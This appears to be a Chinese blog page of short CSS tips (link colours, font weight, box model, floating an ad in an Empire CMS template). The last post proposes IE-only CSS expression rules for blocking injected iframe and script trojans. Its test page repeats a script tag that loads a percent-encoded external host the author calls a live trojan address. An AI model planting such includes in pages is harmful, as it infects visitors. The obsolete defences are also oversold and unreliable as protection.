css控制点击超级连接后的颜色

0 条评论

只需要在css代码中增加a:visited属性即可,但是注意a属性的位置,link-visited-hover-active
<style>
a:link {
    color: #000000;
    text-decoration: none;
}
a:visited {
    color: #000000;
    text-decoration: none;
}
a:hover {
    color: #FF0000;
    text-decoration: underline;
}
a:active {
    color: #FF0000;
    text-decoration: underline;
}
</style>

2010-03-19 / 计算机 / css 阅读全文

css样式表中字体加粗的方法

0 条评论

字体加粗(font-weight)
功能:用于设置字体笔划的粗细。

属性值:正常度 - normal

相对度 - bold, bolder, light, lighter

渐变度 - 100, 200, 300, 400(相当于normal), 500, 600, 700(相当于 bold、 lighter、 bolder、以及数值100-900。 稍微加粗用下面的代码即可:
font-weight: bold;

2010-03-16 / 计算机 / css 阅读全文

css中的margin/padding/border属性图释

0 条评论

CSS 中有个重要的概念,就是盒子模式 (Box model)。

先看看下面这个图,黑框包围的一个方块,就是一个盒子 (Box)。

盒子里由外至里依次是:

margin 边距
border 边框
padding 间隙 (也有人称做补丁)
content (内容,比如文本,图片等)
CSS 边距属性 (margin) 是用来设置一个元素所占空间的边缘到相邻元素之间的距离。

DIV+CSS环绕广告的实现方法.

0 条评论

模板部分:
<div id="new">
       <div id="zhan">占位用的空白块</div>
       <div id="ad">放广告代码</div>
       [!--newstext--]内容标签
</div>


CSS部分:
#zhan{
        float: left;          /让块靠左
        clear: left;         /让块的左边不能有其它块
        height: 200px;  /用这个来控制广告在内容里的位置
        width: 1px;       /
}
#ad{
        height: 250px;
        width: 250px;
        float: left;        /让块靠左
        clear: left;       /让块的左边不能有其它块
        margin: 15px 15px 15px 0px;
}
#new img,#new table{
        clear: left;     /让内容里的图片和表格不会遮挡广告
}
#new{
        float: left;
}

2009-08-07 / 帝国ecms / css, dic, 广告 阅读全文

二行代码解决全部网页木马(含iframe/script木马)

0 条评论

解决方案1: 


XML/HTML代码

  1. iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/    
  2. script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}  

原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。

缺点:访客无法看到被感染了<script>木马的页面。
解决方案2: 

 


XML/HTML代码

  1. iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}    
  2. script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}

 

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。

解决方案3:

 


XML/HTML代码

  1. iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}    
  2. script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}


原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

 

解决方案4:


XML/HTML代码

  1. iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}    
  2. script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}  

原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5: 


XML/HTML代码

  1. iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}    
  2. script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}  


第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 


以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)

 


XML/HTML代码

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[url]http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"[/url]>    
  2. <html xmlns="[url]http://www.w3.org/1999/xhtml"[/url]>    
  3. <head>    
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />    
  5. <title>让JS木马的进程迅速中止的CSS代码</title>    
  6. <style type="text/css" id="LinrStudio">    
  7. /*<![CDATA[*/  
  8. iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}  
  9. script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}  
  10. /* 以后请在此关注最新木马处理方法:[url]http://www.nihaoku.cn/ff/api.htm[/url] */  
  11. /*]]>*/    
  12. </style>    
  13. </head>    
  14. <body>    
  15. <script type="text/javascript" src="1.js"></script>    
  16. <script src=http://%76%63%63%64%2E%63%6E></script>    
  17. <script src="[url]http://%76%63%63%64%2E%63%6E"[/url] type="text/javascript"></script>    
  18. <script src=http://%76%63%63%64%2E%63%6E></script>    
  19. 我是页面本身的1    
  20. <script src=http://%76%63%63%64%2E%63%6E></script>    
  21. 我是页面本身的2    
  22. <script src=http://%76%63%63%64%2E%63%6E></script>    
  23. 我是页面本身的3    
  24. <script src=http://%76%63%63%64%2E%63%6E></script>    
  25. </body>    
  26. </html>  


其中1.js是自己本站的:


XML/HTML代码

  1. document.write("我是本站的JS文件");    
  2. document.write("<img src='http://www.baidu.com/p_w_picpaths/logo.gif' />");  
2009-06-12 / 服务器 / css, 木马 阅读全文